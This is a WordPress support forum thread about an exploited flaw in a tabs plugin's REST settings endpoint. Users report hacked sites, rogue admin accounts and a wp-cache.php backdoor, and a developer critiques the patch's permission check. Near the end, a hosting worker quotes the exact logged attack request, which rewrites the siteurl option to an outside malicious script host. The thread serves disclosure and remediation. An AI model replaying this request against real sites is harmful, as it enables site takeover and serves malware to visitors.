Security Checking

As you mention code, Those can’t work with my plugin. I always use security with any post or get request.

someone tried into your website as they submit some requests with my plugins also. but those can’t pass WordPress nonce at rest API.

Thanks for the quick fix ! ??

If I understand you, the release of 3.5.4 version with the following correction 1 hour ago is therefore unrelated …

https://github.com/MrOxizen/vc-tabs/commit/60fb94d46579f923436e5b8fbf2ba9044835dc24#diff-c862cc5aaff4434be8071dcede9d73ec1f8138d168e74f66805a04bf92160122

The fix is however on WordPress nonce. It’s not fair.

Before this update, I use a header nonce with a header request. for more stable I add an ajax format to make it more stable.

Thank You very much to share the issues as I can make my plugin more stable. I am just concerned about my plugin not hitting you at all. hope you understand.

• This reply was modified 3 years, 3 months ago by t-p.
• This reply was modified 3 years, 3 months ago by biplob018.

Hi

I was also hacked through this path, registered an admin account and loaded the plugin as a backdoor.

@biplob018
Which plugin is using the path /wp-json/oxilabtabsultimate/v1/oxi_settings?
Only plugin “Tabs – Responsive Tabs with WooCommerce”?

@hangar1337
Check your server for wp-cache.php file.
This is a loaded backdoor.

Hi @itsec007

Thanks for your sharing. I am using docker and composer to build the wordpress. I rebuilt and redeployed new image after the fix. I found some information about async actions with “Action Scheduler” on database. It should be seriously considered that the database has been copied…

@biplob018 Thanks for patching this quickly.

I noticed there are some capability checks in the permission_callback added to deal with this that I’d recommend reworking.

The plugin now has an option for changing the role of the user that has permission to edit the plugin’s settings. However the get_permissions_check function grants permissions based on the first key in the capability array for the role rather than against the user role selected in the plugin options.

The original vulnerability would still be possible for any user with the same capability. For example if shop manager was chosen as a role that could update the plugin’s settings, they would be able to update any admin options and potentially gain admin access.

I’d recommend changing the get_permissions_check to check for the manage_options capability only, so only admins can update the settings. For further protection you could whitelist/hardcode the options that are updated.

I’d also check any input fields used by the plugin are escaping data before outputting it to the user to prevent XSS attacks.

• This reply was modified 3 years, 3 months ago by Antony Booker.

Just as a followup to this, I work for a hosting company, and one of our customer sites was also hacked via this vulnerability yesterday. We use mod_security logging for forensics, so I can tell you the exact request used to do it:

POST /wp-json//oxilabtabsultimate/v1/oxi_settings HTTP/1.1

Post data:

rawdata={"name":"siteurl","value":"https://line.storerightdesicion.com/ping/?track.js"}

Hopefully that helps you (the author) ensure that the vulnerability is patched.

@biplob018 A few of our clients that use this plugin were affected today. Same issue @tigertech mentioned.

• This reply was modified 3 years, 3 months ago by revivalyth.
• This reply was modified 3 years, 3 months ago by revivalyth.